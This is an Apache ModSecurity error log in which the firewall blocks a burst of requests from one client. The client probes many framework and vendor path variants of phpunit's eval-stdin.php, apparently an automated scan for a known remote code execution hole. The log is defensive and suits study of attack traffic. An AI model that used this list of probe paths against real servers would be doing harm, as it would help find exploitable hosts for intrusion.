[Sun Oct 25 05:34:28.459397 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJA-YVEbWS5meiuhg5QAAAAw"]
[Sun Oct 25 05:34:28.460393 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NJA-YVEbWS5meiuhg5QAAAAw"]
[Sun Oct 25 05:34:28.645527 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3NJA-YVEbWS5meiuhg5gAAAAw"]
[Sun Oct 25 05:34:28.645977 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3NJA-YVEbWS5meiuhg5gAAAAw"]
[Sun Oct 25 05:34:28.646898 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NJA-YVEbWS5meiuhg5gAAAAw"]
[Sun Oct 25 05:34:28.838785 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJA-YVEbWS5meiuhg5wAAAAw"]
[Sun Oct 25 05:34:28.839264 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJA-YVEbWS5meiuhg5wAAAAw"]
[Sun Oct 25 05:34:28.840198 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NJA-YVEbWS5meiuhg5wAAAAw"]
[Sun Oct 25 05:34:28.977638 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3NJA-YVEbWS5meiuhg6AAAAAw"]
[Sun Oct 25 05:34:28.978094 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3NJA-YVEbWS5meiuhg6AAAAAw"]
[Sun Oct 25 05:34:28.979083 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NJA-YVEbWS5meiuhg6AAAAAw"]
[Sun Oct 25 05:34:29.135057 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJQ-YVEbWS5meiuhg6QAAAAw"]
[Sun Oct 25 05:34:29.135534 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJQ-YVEbWS5meiuhg6QAAAAw"]
[Sun Oct 25 05:34:29.136423 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NJQ-YVEbWS5meiuhg6QAAAAw"]
[Sun Oct 25 05:34:29.338867 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3NJQ-YVEbWS5meiuhg6gAAAAw"]
[Sun Oct 25 05:34:29.339342 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3NJQ-YVEbWS5meiuhg6gAAAAw"]
[Sun Oct 25 05:34:29.340272 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NJQ-YVEbWS5meiuhg6gAAAAw"]
[Sun Oct 25 05:34:29.583905 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJQ-YVEbWS5meiuhg6wAAAAw"]
[Sun Oct 25 05:34:29.584332 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/lib/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJQ-YVEbWS5meiuhg6wAAAAw"]
[Sun Oct 25 05:34:29.585376 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NJQ-YVEbWS5meiuhg6wAAAAw"]
[Sun Oct 25 05:34:29.746278 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3NJQ-YVEbWS5meiuhg7AAAAAw"]
[Sun Oct 25 05:34:29.746795 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/lib/phpunit/Util/PHP/eval-stdin.php"] [unique_id "at3NJQ-YVEbWS5meiuhg7AAAAAw"]
[Sun Oct 25 05:34:29.747684 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NJQ-YVEbWS5meiuhg7AAAAAw"]
[Sun Oct 25 05:34:29.904701 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJQ-YVEbWS5meiuhg7QAAAAw"]
[Sun Oct 25 05:34:29.905155 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJQ-YVEbWS5meiuhg7QAAAAw"]
[Sun Oct 25 05:34:29.906033 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NJQ-YVEbWS5meiuhg7QAAAAw"]
[Sun Oct 25 05:34:30.204778 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJg-YVEbWS5meiuhg7gAAAAw"]
[Sun Oct 25 05:34:30.205223 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJg-YVEbWS5meiuhg7gAAAAw"]
[Sun Oct 25 05:34:30.206088 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NJg-YVEbWS5meiuhg7gAAAAw"]
[Sun Oct 25 05:34:30.574075 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJg-YVEbWS5meiuhg7wAAAAw"]
[Sun Oct 25 05:34:30.574561 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJg-YVEbWS5meiuhg7wAAAAw"]
[Sun Oct 25 05:34:30.575919 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NJg-YVEbWS5meiuhg7wAAAAw"]
[Sun Oct 25 05:34:30.758385 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJg-YVEbWS5meiuhg8AAAAAw"]
[Sun Oct 25 05:34:30.758943 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJg-YVEbWS5meiuhg8AAAAAw"]
[Sun Oct 25 05:34:30.759871 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NJg-YVEbWS5meiuhg8AAAAAw"]
[Sun Oct 25 05:34:30.854025 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 54.235.172.96:26745] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:34:31.003393 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJw-YVEbWS5meiuhg8QAAAAw"]
[Sun Oct 25 05:34:31.003863 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJw-YVEbWS5meiuhg8QAAAAw"]
[Sun Oct 25 05:34:31.005038 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at3NJw-YVEbWS5meiuhg8QAAAAw"]
[Sun Oct 25 05:34:31.139243 2026] [security2:error] [pid 2806348:tid 2806348] [client 38.146.25.142:60724] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at3NJw-YVEbWS5meiuhg8gAAAAw"]
